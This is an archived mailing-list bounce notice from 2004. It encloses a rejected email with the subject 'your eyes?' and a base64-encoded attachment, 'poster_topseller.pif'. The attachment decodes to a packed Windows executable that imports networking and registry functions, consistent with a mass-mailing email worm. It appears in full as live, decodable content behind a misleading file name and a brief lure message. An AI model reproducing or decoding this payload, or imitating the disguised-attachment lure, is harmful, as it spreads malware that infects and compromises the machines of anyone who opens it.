netdev); Fri, 21 May 2004 23:59:29 -0700 (PDT) Received: from CUNYVM.CUNY.EDU (cunyvm.cuny.edu [128.228.1.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4M6xFKO025362 for ; Fri, 21 May 2004 23:59:16 -0700 Message-Id: <200405220659.i4M6xFKO025362@oss.sgi.com> Received: by CUNYVM.CUNY.EDU (IBM VM SMTP Level 320) via spool with SMTP id 6542 ; Sat, 22 May 2004 02:56:34 EDT Received: from CUNYVM.CUNY.EDU (NJE origin MAILER@CUNYVM) by CUNYVM.CUNY.EDU (LMail V1.2d/1.8d) with BSMTP id 9264; Sat, 22 May 2004 02:56:33 -0400 Date: Sat, 22 May 2004 02:56:33 -0400 Reply-To: Postmaster@CUNYVM.CUNY.EDU From: RFC822 mailer (LMail release 1.2d/1.8d) Subject: Undelivered mail To: netdev@OSS.SGI.COM X-Report-Type: Nondelivery; boundary="> Error description:" X-archive-position: 5237 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: MAILER@CUNYVM.CUNY.EDU Precedence: bulk X-list: netdev An error was detected while processing the enclosed message. A list of the affected recipients follows. This list is in a special format that allows software like LISTSERV to automatically take action on incorrect addresses; you can safely ignore the numeric codes. --> Error description: Error-For: JZDQC@CUNYVM.CUNY.EDU Alias: JZDQC@CUNYVMV2.BITNET Alias: JZDQC@CUNYVM.BITNET Error-Code: 3 Error-Text: No such local user. Error-End: One error reported. ------------------------ Rejected message (503 lines) ------------------------- Received: from LISTSERV.CUNY.EDU [128.228.100.10] by CUNYVM.CUNY.EDU (IBM VM SMTP Level 320) via TCP with SMTP ; Sat, 22 May 2004 02:56:32 EDT Received: from cunyvm.cuny.edu (218.104.103.136) by LISTSERV.CUNY.EDU (LSMTP for Windows NT v1.1b) with SMTP id <3.00C9A389@LISTSERV.CUNY.EDU>; Sat, 22 May 2004 2:59:25 -0400 From: netdev@oss.sgi.com To: jzdqc@cunyvm.cuny.edu Subject: your eyes? Date: Sat, 22 May 2004 14:59:18 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0013_000006B1.00005D30" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0013_000006B1.00005D30 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit do not give up! ------=_NextPart_000_0013_000006B1.00005D30 Content-Type: application/octet-stream; name="poster_topseller.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="poster_topseller.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAGsiX1YvQzEFL0MxBS9DMQWsXz8FI0MxBcdcOwU0QzEFL0MwBXBDMQWsS2wF IkMxBcdcOgUqQzEFl0U3BS5DMQVSaWNoL0MxBQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA7Kc7QAAAAAAAAAAA4AAPAQsBBgAAUAAA ABwBAAAAAABCoAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAALABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/KEBAK8BAAAAkAEA CAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAgAEAABAAAABWAAAACAAAAAAAAAAAAAAAAAAAYAAA4C5wZXRpdGUAABAAAACQ AQAIBQAAAF4AAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAoAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 